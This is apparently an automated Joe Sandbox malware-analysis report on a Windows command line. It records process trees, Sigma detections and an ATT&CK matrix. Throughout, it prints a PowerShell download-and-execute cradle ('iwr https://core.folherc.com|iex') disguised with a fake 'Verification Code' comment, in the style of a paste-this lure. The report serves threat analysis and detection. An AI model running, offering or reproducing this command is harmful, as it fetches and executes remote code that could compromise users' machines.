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Windows Analysis Report

Overview

General Information

Analysis ID:1659605
Infos:

Detection

Score:22
Range:0 - 100
Confidence:100%

Signatures

Sigma detected: PowerShell Download and Execution Cradles
Creates a process in suspended mode (likely to inject code)
Program does not show much activity (idle)
Sigma detected: PowerShell Web Download
Sigma detected: Usage Of Web Request Commands And Cmdlets

Classification

RansomwareSpreadingPhishingBankerTrojan / BotAdwareSpywareExploiterEvaderMinercleansuspiciousmalicious
  • System is w10x64
  • cmd.exe (PID: 7012 cmdline: cmd /C "powershell -w 1 iwr https://core.folherc.com|iex # Verification Code 256068" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
    • conhost.exe (PID: 7140 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • powershell.exe (PID: 1860 cmdline: powershell -w 1 iwr https://core.folherc.com MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
  • cleanup
No configs have been found
No yara matches

System Summary

barindex
Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: cmd /C "powershell -w 1 iwr https://core.folherc.com|iex # Verification Code 256068", CommandLine: cmd /C "powershell -w 1 iwr https://core.folherc.com|iex # Verification Code 256068", CommandLine|base64offset|contains: rg, Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4224, ProcessCommandLine: cmd /C "powershell -w 1 iwr https://core.folherc.com|iex # Verification Code 256068", ProcessId: 7012, ProcessName: cmd.exe
Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: cmd /C "powershell -w 1 iwr https://core.folherc.com|iex # Verification Code 256068", CommandLine: cmd /C "powershell -w 1 iwr https://core.folherc.com|iex # Verification Code 256068", CommandLine|base64offset|contains: rg, Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4224, ProcessCommandLine: cmd /C "powershell -w 1 iwr https://core.folherc.com|iex # Verification Code 256068", ProcessId: 7012, ProcessName: cmd.exe
Source: Process startedAuthor: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: cmd /C "powershell -w 1 iwr https://core.folherc.com|iex # Verification Code 256068", CommandLine: cmd /C "powershell -w 1 iwr https://core.folherc.com|iex # Verification Code 256068", CommandLine|base64offset|contains: rg, Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4224, ProcessCommandLine: cmd /C "powershell -w 1 iwr https://core.folherc.com|iex # Verification Code 256068", ProcessId: 7012, ProcessName: cmd.exe
Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -w 1 iwr https://core.folherc.com, CommandLine: powershell -w 1 iwr https://core.folherc.com, CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: cmd /C "powershell -w 1 iwr https://core.folherc.com|iex # Verification Code 256068", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7012, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -w 1 iwr https://core.folherc.com, ProcessId: 1860, ProcessName: powershell.exe
No Suricata rule has matched

Click to jump to signature section

Show All Signature Results
Source: classification engineClassification label: sus22.win@4/0@0/0
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7140:120:WilError_03
Source: unknownProcess created: C:\Windows\SysWOW64\cmd.exe cmd /C "powershell -w 1 iwr https://core.folherc.com|iex # Verification Code 256068"
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -w 1 iwr https://core.folherc.com
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -w 1 iwr https://core.folherc.comJump to behavior
Source: all processesThread injection, dropped files, key value created, disk infection and DNS query: no activity detected
Source: all processesThread injection, dropped files, key value created, disk infection and DNS query: no activity detected
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -w 1 iwr https://core.folherc.comJump to behavior
ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity InformationAcquire InfrastructureValid AccountsWindows Management InstrumentationPath Interception11
Process Injection
11
Process Injection
OS Credential DumpingSystem Service DiscoveryRemote ServicesData from Local SystemData ObfuscationExfiltration Over Other Network MediumAbuse Accessibility Features
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1659605 Cookbook: defaultwindowscmdlinecookbook.jbs Startdate: 08/04/2025 Architecture: WINDOWS Score: 22 12 Sigma detected: PowerShell Download and Execution Cradles 2->12 6 cmd.exe 1 2->6         started        process3 process4 8 conhost.exe 6->8         started        10 powershell.exe 6->10         started       
No Antivirus matches
No Antivirus matches
No Antivirus matches
No Antivirus matches
No Antivirus matches
No contacted domains info
No contacted IP infos
Joe Sandbox version:42.0.0 Malachite
Analysis ID:1659605
Start date and time:2025-04-08 16:42:07 +02:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 1m 24s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultwindowscmdlinecookbook.jbs
Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:3
Number of new started drivers analysed:0
Number of existing processes analysed:0
Number of existing drivers analysed:0
Number of injected processes analysed:0
Technologies:
  • EGA enabled
  • AMSI enabled
Analysis Mode:default
Analysis stop reason:Timeout
Detection:SUS
Classification:sus22.win@4/0@0/0
Cookbook Comments:
  • Stop behavior analysis, all processes terminated
  • Not all processes where analyzed, report is missing behavior information
No simulations
No context
No context
No context
No context
No context
No created / dropped files found
No static file info
No network behavior found
012345s020406080100

Click to jump to process

Click to jump to process

Target ID:0
Start time:10:42:57
Start date:08/04/2025
Path:C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):true
Commandline:cmd /C "powershell -w 1 iwr https://core.folherc.com|iex # Verification Code 256068"
Imagebase:0x460000
File size:236'544 bytes
MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:true
Has administrator privileges:true
Programmed in:C, C++ or other language
Reputation:high
Has exited:true

Target ID:1
Start time:10:42:57
Start date:08/04/2025
Path:C:\Windows\System32\conhost.exe
Wow64 process (32bit):false
Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:0x7ff642da0000
File size:862'208 bytes
MD5 hash:0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:true
Has administrator privileges:true
Programmed in:C, C++ or other language
Reputation:high
Has exited:true

Target ID:2
Start time:10:42:57
Start date:08/04/2025
Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):false
Commandline:powershell -w 1 iwr https://core.folherc.com
Imagebase:0xb70000
File size:433'152 bytes
MD5 hash:C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:true
Has administrator privileges:true
Programmed in:C, C++ or other language
Reputation:high
Has exited:true

No disassembly